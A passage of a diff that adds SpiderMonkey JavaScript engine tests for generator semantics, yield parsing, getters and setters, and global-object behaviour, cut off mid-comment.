+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is normal
+ try {
+ // F.[[type]] is throw
+ try {
+ return 43;
+ } finally {
+ throw 9;
+ }
+ } catch (e) {
+ }
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 41;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== with yield ====
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== throw() ====
+
+f = function*() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+try {
+ v = g.throw(44);
+} catch (e) {
+ assertEq(e, 44);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is throw
+ try {
+ yield 43;
+ } catch (e) {
+ }
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.throw(44);
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== return() ====
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.return(44);
+assertEq(v.value, 44);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ yield 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, false);
+v = g.return(44);
+assertEq(v.value, 44);
+assertEq(v.done, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/runtime.js b/js/src/tests/non262/generators/runtime.js
new file mode 100644
index 0000000000..7146eef9ff
--- /dev/null
+++ b/js/src/tests/non262/generators/runtime.js
@@ -0,0 +1,132 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-runtime.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-runtime.js
+
+// Test aspects of the generator runtime.
+
+// See http://people.mozilla.org/~jorendorff/es6-draft.html#sec-15.19.3.
+
+function assertSyntaxError(str) {
+ assertThrowsInstanceOf(Function(str), SyntaxError);
+}
+
+
+function f() { }
+function* g() { yield 1; }
+var GeneratorFunctionPrototype = Object.getPrototypeOf(g);
+var GeneratorFunction = GeneratorFunctionPrototype.constructor;
+var GeneratorObjectPrototype = GeneratorFunctionPrototype.prototype;
+
+
+// A generator function should have the same set of properties as any
+// other function.
+function TestGeneratorFunctionInstance() {
+ var f_own_property_names = Object.getOwnPropertyNames(f);
+ var g_own_property_names = Object.getOwnPropertyNames(g);
+
+ f_own_property_names.sort();
+ g_own_property_names.sort();
+
+ assertDeepEq(f_own_property_names, g_own_property_names);
+ var i;
+ for (i = 0; i < f_own_property_names.length; i++) {
+ var prop = f_own_property_names[i];
+ var f_desc = Object.getOwnPropertyDescriptor(f, prop);
+ var g_desc = Object.getOwnPropertyDescriptor(g, prop);
+ assertEq(f_desc.configurable, g_desc.configurable, prop);
+ assertEq(f_desc.writable, g_desc.writable, prop);
+ assertEq(f_desc.enumerable, g_desc.enumerable, prop);
+ }
+}
+TestGeneratorFunctionInstance();
+
+
+// Generators have an additional object interposed in the chain between
+// themselves and Function.prototype.
+function TestGeneratorFunctionPrototype() {
+ // Sanity check.
+ assertEq(Object.getPrototypeOf(f), Function.prototype);
+ assertNotEq(GeneratorFunctionPrototype, Function.prototype);
+ assertEq(Object.getPrototypeOf(GeneratorFunctionPrototype),
+ Function.prototype);
+ assertEq(Object.getPrototypeOf(function* () {}),
+ GeneratorFunctionPrototype);
+}
+TestGeneratorFunctionPrototype();
+
+
+// Functions that we associate with generator objects are actually defined by
+// a common prototype.
+function TestGeneratorObjectPrototype() {
+ // %GeneratorPrototype% must inherit from %IteratorPrototype%.
+ var iterProto = Object.getPrototypeOf(Object.getPrototypeOf([][Symbol.iterator]()));
+ assertEq(Object.getPrototypeOf(GeneratorObjectPrototype),
+ iterProto);
+ assertEq(Object.getPrototypeOf((function*(){yield 1}).prototype),
+ GeneratorObjectPrototype);
+
+ var expected_property_names = ["next", "return", "throw", "constructor"];
+ var found_property_names =
+ Object.getOwnPropertyNames(GeneratorObjectPrototype);
+
+ expected_property_names.sort();
+ found_property_names.sort();
+
+ assertDeepEq(found_property_names, expected_property_names);
+ assertDeepEq(Object.getOwnPropertySymbols(GeneratorObjectPrototype), [Symbol.toStringTag]);
+}
+TestGeneratorObjectPrototype();
+
+
+// This tests the object that would be called "GeneratorFunction", if it were
+// like "Function".
+function TestGeneratorFunction() {
+ assertEq(GeneratorFunctionPrototype, GeneratorFunction.prototype);
+ assertTrue(g instanceof GeneratorFunction);
+
+ assertEq(Function, Object.getPrototypeOf(GeneratorFunction));
+ assertTrue(g instanceof Function);
+
+ assertEq("function* g() { yield 1; }", g.toString());
+
+ // Not all functions are generators.
+ assertTrue(f instanceof Function); // Sanity check.
+ assertFalse(f instanceof GeneratorFunction);
+
+ assertTrue((new GeneratorFunction()) instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction() instanceof GeneratorFunction);
+
+ assertTrue(GeneratorFunction('yield 1') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('return 1') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'yield a') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'return a') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'return a') instanceof GeneratorFunction);
+ assertSyntaxError("GeneratorFunction('yield', 'return yield')");
+ assertTrue(GeneratorFunction('with (x) return foo;') instanceof GeneratorFunction);
+ assertSyntaxError("GeneratorFunction('\"use strict\"; with (x) return foo;')");
+
+ // Doesn't matter particularly what string gets serialized, as long
+ // as it contains "function*" and "yield 10".
+ assertEq(GeneratorFunction('yield 10').toString(),
+ "function* anonymous(\n) {\nyield 10\n}");
+}
+TestGeneratorFunction();
+
+
+function TestPerGeneratorPrototype() {
+ assertNotEq((function*(){}).prototype, (function*(){}).prototype);
+ assertNotEq((function*(){}).prototype, g.prototype);
+ assertEq(typeof GeneratorFunctionPrototype, "object");
+ assertEq(g.prototype.__proto__.constructor, GeneratorFunctionPrototype, "object");
+ assertEq(Object.getPrototypeOf(g.prototype), GeneratorObjectPrototype);
+ assertFalse(g.prototype instanceof Function);
+ assertEq(typeof (g.prototype), "object");
+
+ assertDeepEq(Object.getOwnPropertyNames(g.prototype), []);
+}
+TestPerGeneratorPrototype();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/shell.js b/js/src/tests/non262/generators/shell.js
new file mode 100644
index 0000000000..791e824841
--- /dev/null
+++ b/js/src/tests/non262/generators/shell.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function assertFalse(a) { assertEq(a, false) }
+function assertTrue(a) { assertEq(a, true) }
+function assertNotEq(found, not_expected) { assertEq(Object.is(found, not_expected), false) }
+function assertIteratorResult(result, value, done) {
+ assertDeepEq(result.value, value);
+ assertEq(result.done, done);
+}
+function assertIteratorNext(iter, value) {
+ assertIteratorResult(iter.next(), value, false);
+}
+function assertIteratorDone(iter, value) {
+ assertIteratorResult(iter.next(), value, true);
+}
diff --git a/js/src/tests/non262/generators/simple-fib.js b/js/src/tests/non262/generators/simple-fib.js
new file mode 100644
index 0000000000..487b656ab1
--- /dev/null
+++ b/js/src/tests/non262/generators/simple-fib.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326466; // bug 326466, comment 1
+var summary = "Simple Fibonacci iterator";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function* fib()
+{
+ var a = 0, b = 1;
+ while (true)
+ {
+ yield a;
+ var t = a;
+ a = b;
+ b += t;
+ }
+}
+
+var failed = false;
+
+try
+{
+ var g = fib();
+
+ if (g.next().value != 0)
+ throw "F_0 = 0";
+ if (g.next().value != 1)
+ throw "F_1 = 1";
+ if (g.next().value != 1)
+ throw "F_2 = 1";
+ if (g.next().value != 2)
+ throw "F_3 = 2";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/subclass.js b/js/src/tests/non262/generators/subclass.js
new file mode 100644
index 0000000000..f93f4df4db
--- /dev/null
+++ b/js/src/tests/non262/generators/subclass.js
@@ -0,0 +1,33 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const GeneratorFunction = function*(){}.constructor;
+
+class MyGen extends GeneratorFunction {}
+
+// MyGen inherits from %GeneratorFunction%.
+assertEq(Object.getPrototypeOf(MyGen), GeneratorFunction);
+
+// MyGen.prototype inherits from %Generator%.
+assertEq(Object.getPrototypeOf(MyGen.prototype), GeneratorFunction.prototype);
+
+var fn = new MyGen("yield* [1, 2, 3]");
+
+// fn inherits from MyGen.prototype.
+assertEq(Object.getPrototypeOf(fn), MyGen.prototype);
+
+// fn.prototype inherits from %GeneratorPrototype%.
+assertEq(Object.getPrototypeOf(fn.prototype), GeneratorFunction.prototype.prototype);
+
+// Ensure the new generator function can be executed.
+var it = fn();
+
+// it inherits from fn.prototype.
+assertEq(Object.getPrototypeOf(it), fn.prototype);
+
+// Computes the expected result.
+assertEqArray([...it], [1, 2, 3]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/syntax.js b/js/src/tests/non262/generators/syntax.js
new file mode 100644
index 0000000000..21ecf02875
--- /dev/null
+++ b/js/src/tests/non262/generators/syntax.js
@@ -0,0 +1,140 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-parsing.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-parsing.js
+
+function assertSyntaxError(str) {
+ var msg;
+ var evil = eval;
+ try {
+ // Non-direct eval.
+ evil(str);
+ } catch (exc) {
+ if (exc instanceof SyntaxError)
+ return;
+ msg = "Assertion failed: expected SyntaxError, got " + exc;
+ }
+ if (msg === undefined)
+ msg = "Assertion failed: expected SyntaxError, but no exception thrown";
+ throw new Error(msg + " - " + str);
+}
+
+// Yield statements.
+function* g() { yield 3; yield 4; }
+
+// Yield expressions.
+function* g() { (yield 3) + (yield 4); }
+
+// Yield without a RHS.
+function* g() { yield; }
+function* g() { yield }
+function* g() {
+ yield
+}
+function* g() { (yield) }
+function* g() { [yield] }
+function* g() { {yield} }
+function* g() { (yield), (yield) }
+function* g() { yield; yield }
+function* g() { (yield) ? yield : yield }
+function* g() {
+ (yield)
+ ? yield
+ : yield
+}
+
+// If yield has a RHS, it needs to start on the same line. The * in a
+// yield* counts as starting the RHS.
+function* g() {
+ yield *
+ foo
+}
+assertThrowsInstanceOf(() => Function("function* g() { yield\n* foo }"), SyntaxError);
+assertIteratorNext(function*(){
+ yield
+ 3
+ }(), undefined)
+
+// A YieldExpression is not a LogicalORExpression.
+assertThrowsInstanceOf(() => Function("function* g() { yield ? yield : yield }"), SyntaxError);
+
+// You can have a generator in strict mode.
+function* g() { "use strict"; yield 3; yield 4; }
+
+// Generators can have return statements also, which internally parse to a kind
+// of yield expression.
+function* g() { yield 1; return; }
+function* g() { yield 1; return 2; }
+function* g() { yield 1; return 2; yield "dead"; }
+
+// Generator expression.
+(function* () { yield 3; });
+
+// Named generator expression.
+(function* g() { yield 3; });
+
+// Generators do not have to contain yield expressions.
+function* g() { }
+
+// YieldExpressions can occur in the RHS of a YieldExpression.
+function* g() { yield yield 1; }
+function* g() { yield 3 + (yield 4); }
+
+// Generator definitions with a name of "yield" are not specifically ruled out
+// by the spec, as the `yield' name is outside the generator itself. However,
+// in strict-mode, "yield" is an invalid identifier.
+function* yield() { (yield 3) + (yield 4); }
+assertSyntaxError("function* yield() { 'use strict'; (yield 3) + (yield 4); }");
+
+// In classic mode, yield is a normal identifier, outside of generators.
+function yield(yield) { yield: yield (yield + yield (0)); }
+
+// Yield is always valid as a key in an object literal.
+({ yield: 1 });
+function* g() { yield ({ yield: 1 }) }
+function* g() { yield ({ get yield() { return 1; }}) }
+
+// Yield is a valid property name.
+function* g(obj) { yield obj.yield; }
+
+// Checks that yield is a valid label in classic mode, but not valid in a strict
+// mode or in generators.
+function f() { yield: 1 }
+assertSyntaxError("function f() { 'use strict'; yield: 1 }")
+assertSyntaxError("function* g() { yield: 1 }")
+
+// Yield is only a keyword in the body of the generator, not in nested
+// functions.
+function* g() { function f(yield) { yield (yield + yield (0)); } }
+
+// Yield in a generator is not an identifier.
+assertSyntaxError("function* g() { yield = 10; }");
+
+// Yield binds very loosely, so this parses as "yield (3 + yield 4)", which is
+// invalid.
+assertSyntaxError("function* g() { yield 3 + yield 4; }");
+
+// Yield is still a future-reserved-word in strict mode
+assertSyntaxError("function f() { 'use strict'; var yield = 13; }");
+
+// The name of the NFE isn't let-bound in F/G, so this is valid.
+function f() { (function yield() {}); }
+function* g() { (function yield() {}); }
+
+// The name of the NFE is let-bound in the function/generator expression, so this is invalid.
+assertSyntaxError("function f() { (function* yield() {}); }");
+assertSyntaxError("function* g() { (function* yield() {}); }");
+
+// The name of the declaration is let-bound in F, so this is valid.
+function f() { function yield() {} }
+function f() { function* yield() {} }
+
+// The name of the declaration is let-bound in G, so this is invalid.
+assertSyntaxError("function* g() { function yield() {} }");
+assertSyntaxError("function* g() { function* yield() {} }");
+
+// In generators, yield is invalid as a formal argument name.
+assertSyntaxError("function* g(yield) { yield (10); }");
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/yield-error.js b/js/src/tests/non262/generators/yield-error.js
new file mode 100644
index 0000000000..ac915ebcd7
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-error.js
@@ -0,0 +1,32 @@
+var BUGNUMBER = 1384299;
+var summary = "yield outside of generators should provide better error";
+
+print(BUGNUMBER + ": " + summary);
+
+let caught = false;
+try {
+ eval("yield 10");
+} catch(e) {
+ assertEq(e.message, "yield expression is only valid in generators");
+ caught = true;
+}
+assertEq(caught, true);
+
+try {
+ eval("function f() { yield 10; }");
+} catch(e) {
+ assertEq(e.message, "yield expression is only valid in generators");
+ caught = true;
+}
+assertEq(caught, true);
+
+try {
+ eval("async function f() { yield 10; }");
+} catch(e) {
+ assertEq(e.message, "yield expression is only valid in generators");
+ caught = true;
+}
+assertEq(caught, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/yield-iterator-close.js b/js/src/tests/non262/generators/yield-iterator-close.js
new file mode 100644
index 0000000000..970ad494d2
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-iterator-close.js
@@ -0,0 +1,58 @@
+// Test that IteratorClose is called when a Generator is abruptly completed by
+// Generator.return.
+
+var returnCalled = 0;
+function* wrapNoThrow() {
+ let iter = {
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ return { value: 10, done: false };
+ },
+ return() {
+ returnCalled++;
+ return {};
+ }
+ };
+ for (const i of iter) {
+ yield i;
+ }
+}
+
+// Breaking calls Generator.return, which causes the yield above to resume with
+// an abrupt completion of kind "return", which then calls
+// iter.return.
+for (const i of wrapNoThrow()) {
+ break;
+}
+assertEq(returnCalled, 1);
+
+function* wrapThrow() {
+ let iter = {
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ return { value: 10, done: false };
+ },
+ return() {
+ throw 42;
+ }
+ };
+ for (const i of iter) {
+ yield i;
+ }
+}
+
+// Breaking calls Generator.return, which, like above, calls iter.return. If
+// iter.return throws, since the yield is resuming with an abrupt completion of
+// kind "return", the newly thrown value takes precedence over returning.
+assertThrowsValue(() => {
+ for (const i of wrapThrow()) {
+ break;
+ }
+}, 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/yield-non-regexp.js b/js/src/tests/non262/generators/yield-non-regexp.js
new file mode 100644
index 0000000000..d9fbcd3598
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-non-regexp.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1099956;
+var summary =
+ "The token next to yield should be tokenized as non-operand if yield is " +
+ "a valid name";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var yield = 12, a = 3, b = 6, g = 2;
+var yieldParsedAsIdentifier = false;
+
+yield /a; yieldParsedAsIdentifier = true; b/g;
+
+assertEq(yieldParsedAsIdentifier, true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/yield-star-iterator-close.js b/js/src/tests/non262/generators/yield-star-iterator-close.js
new file mode 100644
index 0000000000..91ad31cb64
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-star-iterator-close.js
@@ -0,0 +1,153 @@
+// Tests that the "return" method on iterators is called in yield*
+// expressions.
+
+function test() {
+ var returnCalled = 0;
+ var returnCalledExpected = 0;
+ var nextCalled = 0;
+ var nextCalledExpected = 0;
+ var throwCalled = 0;
+ var throwCalledExpected = 0;
+ var iterable = {};
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ nextCalled++;
+ return { done: false };
+ },
+ ret: function() {
+ returnCalled++;
+ return { done: true, value: "iter.return" };
+ }
+ });
+
+ function* y() {
+ yield* iterable;
+ }
+
+ // G.p.throw on an iterator without "throw" calls IteratorClose.
+ var g1 = y();
+ g1.next();
+ assertThrowsInstanceOf(function() {
+ g1.throw("foo");
+ }, TypeError);
+ assertEq(returnCalled, ++returnCalledExpected);
+ assertEq(nextCalled, ++nextCalledExpected);
+ g1.next();
+ assertEq(nextCalled, nextCalledExpected);
+
+ // G.p.return calls "return", and if the result.done is true, return the
+ // result.
+ var g2 = y();
+ g2.next();
+ var v2 = g2.return("test return");
+ assertEq(v2.done, true);
+ assertEq(v2.value, "iter.return");
+ assertEq(returnCalled, ++returnCalledExpected);
+ assertEq(nextCalled, ++nextCalledExpected);
+ g2.next();
+ assertEq(nextCalled, nextCalledExpected);
+
+ // G.p.return calls "return", and if the result.done is false, continue
+ // yielding.
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ nextCalled++;
+ return { done: false };
+ },
+ ret: function() {
+ returnCalled++;
+ return { done: false, value: "iter.return" };
+ }
+ });
+ var g3 = y();
+ g3.next();
+ var v3 = g3.return("test return");
+ assertEq(v3.done, false);
+ assertEq(v3.value, "iter.return");
+ assertEq(returnCalled, ++returnCalledExpected);
+ assertEq(nextCalled, ++nextCalledExpected);
+ g3.next();
+ assertEq(nextCalled, ++nextCalledExpected);
+
+ // G.p.return throwing does not re-call iter.return.
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ throw "in iter.return";
+ }
+ });
+ var g4 = y();
+ g4.next();
+ assertThrowsValue(function() {
+ g4.return("in test");
+ }, "in iter.return");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // G.p.return expects iter.return to return an Object.
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return 42;
+ }
+ });
+ var g5 = y();
+ g5.next();
+ assertThrowsInstanceOf(function() {
+ g5.return("foo");
+ }, TypeError);
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // IteratorClose expects iter.return to return an Object.
+ var g6 = y();
+ g6.next();
+ var exc;
+ try {
+ g6.throw("foo");
+ } catch (e) {
+ exc = e;
+ } finally {
+ assertEq(exc instanceof TypeError, true);
+ // The message test is here because instanceof TypeError doesn't
+ // distinguish the non-Object return TypeError and the
+ // throw-method-is-not-defined iterator protocol error.
+ assertEq(exc.toString().indexOf("non-object") > 0, true);
+ }
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // G.p.return passes its argument to "return".
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function(x) {
+ assertEq(x, "in test");
+ returnCalled++;
+ return { done: true };
+ }
+ });
+ var g7 = y();
+ g7.next();
+ g7.return("in test");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // If a throw method is present, do not call "return".
+ iterable[Symbol.iterator] = makeIterator({
+ throw: function(e) {
+ throwCalled++;
+ throw e;
+ },
+ ret: function(x) {
+ returnCalled++;
+ return { done: true };
+ }
+ });
+ var g8 = y();
+ g8.next();
+ assertThrowsValue(function() {
+ g8.throw("foo");
+ }, "foo");
+ assertEq(throwCalled, ++throwCalledExpected);
+ assertEq(returnCalled, returnCalledExpected);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/yield-star-iterator-primitive.js b/js/src/tests/non262/generators/yield-star-iterator-primitive.js
new file mode 100644
index 0000000000..90d9e75785
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-star-iterator-primitive.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let obj = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ function* g() {
+ yield* obj;
+ }
+ for (let x of g()) {
+ }
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/yield-star-throw-htmldda.js b/js/src/tests/non262/generators/yield-star-throw-htmldda.js
new file mode 100644
index 0000000000..a903da02f7
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-star-throw-htmldda.js
@@ -0,0 +1,28 @@
+function* g(iter) {
+ yield* iter;
+}
+
+var calledReturn = false;
+
+var it = g({
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ return {done: false};
+ },
+ throw: createIsHTMLDDA(),
+ return() {
+ calledReturn = true;
+ return {done: false};
+ }
+});
+
+it.next();
+
+assertThrowsInstanceOf(() => it.throw(""), TypeError);
+
+assertEq(calledReturn, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/get-set/browser.js b/js/src/tests/non262/get-set/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/get-set/browser.js
diff --git a/js/src/tests/non262/get-set/getset-002.js b/js/src/tests/non262/get-set/getset-002.js
new file mode 100644
index 0000000000..5214f9cb50
--- /dev/null
+++ b/js/src/tests/non262/get-set/getset-002.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var t = {
+ _y: "<initial y>",
+
+ get y()
+ {
+ var rv;
+ if (typeof this._y == "string")
+ rv = "got " + this._y;
+ else
+ rv = this._y;
+
+ return rv;
+ },
+
+ set y(newVal)
+ {
+ this._y = newVal;
+ }
+}
+
+
+ test(t);
+
+function test(t)
+{
+ printStatus ("Basic Getter/ Setter test (object literal notation)");
+
+ reportCompare ("<initial y>", t._y, "y prototype check");
+
+ reportCompare ("got <initial y>", t.y, "y getter, before set");
+
+ t.y = "new y";
+ reportCompare ("got new y", t.y, "y getter, after set");
+
+ t.y = 2;
+ reportCompare (2, t.y, "y getter, after numeric set");
+
+ var d = new Date();
+ t.y = d;
+ reportCompare (d, t.y, "y getter, after date set");
+
+}
diff --git a/js/src/tests/non262/get-set/regress-375976.js b/js/src/tests/non262/get-set/regress-375976.js
new file mode 100644
index 0000000000..d807b6c0f2
--- /dev/null
+++ b/js/src/tests/non262/get-set/regress-375976.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375976;
+var summary = 'Do not crash with postincrement custom property';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ this.__defineSetter__('x', gc);
+ this.__defineGetter__('x', Math.sin);
+ x = x++;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/get-set/shell.js b/js/src/tests/non262/get-set/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/get-set/shell.js
diff --git a/js/src/tests/non262/global/adding-global-var-nonextensible-error.js b/js/src/tests/non262/global/adding-global-var-nonextensible-error.js
new file mode 100644
index 0000000000..fd5ab13edb
--- /dev/null
+++ b/js/src/tests/non262/global/adding-global-var-nonextensible-error.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell) -- preventExtensions on global
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 621432;
+var summary =
+ "If a var statement can't create a global property because the global " +
+ "object isn't extensible, and an error is thrown while decompiling the " +
+ "global, don't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var toSource = [];
+Object.preventExtensions(this);
+
+try
+{
+ eval("var x;");
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ reportCompare(e instanceof TypeError, true, "expected TypeError, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/browser.js b/js/src/tests/non262/global/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/global/browser.js
diff --git a/js/src/tests/non262/global/bug-320887.js b/js/src/tests/non262/global/bug-320887.js
new file mode 100644
index 0000000000..5e8d3445ab
--- /dev/null
+++ b/js/src/tests/non262/global/bug-320887.js
@@ -0,0 +1,15 @@
+// `var x` should not call the getter of an existing global property.
+
+var hit = 0;
+Object.defineProperty(this, "x", {
+ get: function () { return ++hit; },
+ configurable: true
+});
+eval("var x;");
+assertEq(hit, 0);
+
+// The declaration should not have redefined the global x, either.
+assertEq(x, 1);
+assertEq(x, 2);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/global/bug660612.js b/js/src/tests/non262/global/bug660612.js
new file mode 100644
index 0000000000..71589f53df
--- /dev/null
+++ b/js/src/tests/non262/global/bug660612.js
@@ -0,0 +1,7 @@
+try {
+ decodeURIComponent('%ED%A0%80');
+ assertEq(true, false, "expected an URIError");
+} catch (e) {
+ assertEq(e instanceof URIError, true);
+ reportCompare(true,true);
+}
diff --git a/js/src/tests/non262/global/cross-global-implicit-this.js b/js/src/tests/non262/global/cross-global-implicit-this.js
new file mode 100644
index 0000000000..90c6e8a958
--- /dev/null
+++ b/js/src/tests/non262/global/cross-global-implicit-this.js
@@ -0,0 +1,84 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 671947;
+var summary = "Unqualified function invocation uses the global object of the called property as |this|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+this.name = "o";
+
+function f() {
+ return this ? this.name : "t";
+}
+function g() {
+ "use strict";
+ return this ? this.name : "u";
+}
+function h() {
+ return this ? this.name : "v";
+}
+
+var sb = newGlobal();
+sb.parent = this;
+sb.name = "i";
+sb.f = f;
+sb.g = g;
+
+sb.evaluate(
+ '\n' +
+ ' this.a = { name: "a", f: f, g: g };\n' +
+ ' this.b = { name: "b", f: f, g: g };\n' +
+ ' Object.defineProperty(this, "h", { get: (function(){ return parent.h; })});\n' +
+ ' Object.defineProperty(a, "h", { get: (function(){ return parent.h; })});\n' +
+ ' Object.defineProperty(b, "h", { get: (function(){ return parent.h; })});\n' +
+ '');
+
+
+// Three of the first four cases pass undefined (promoted inside the callee to
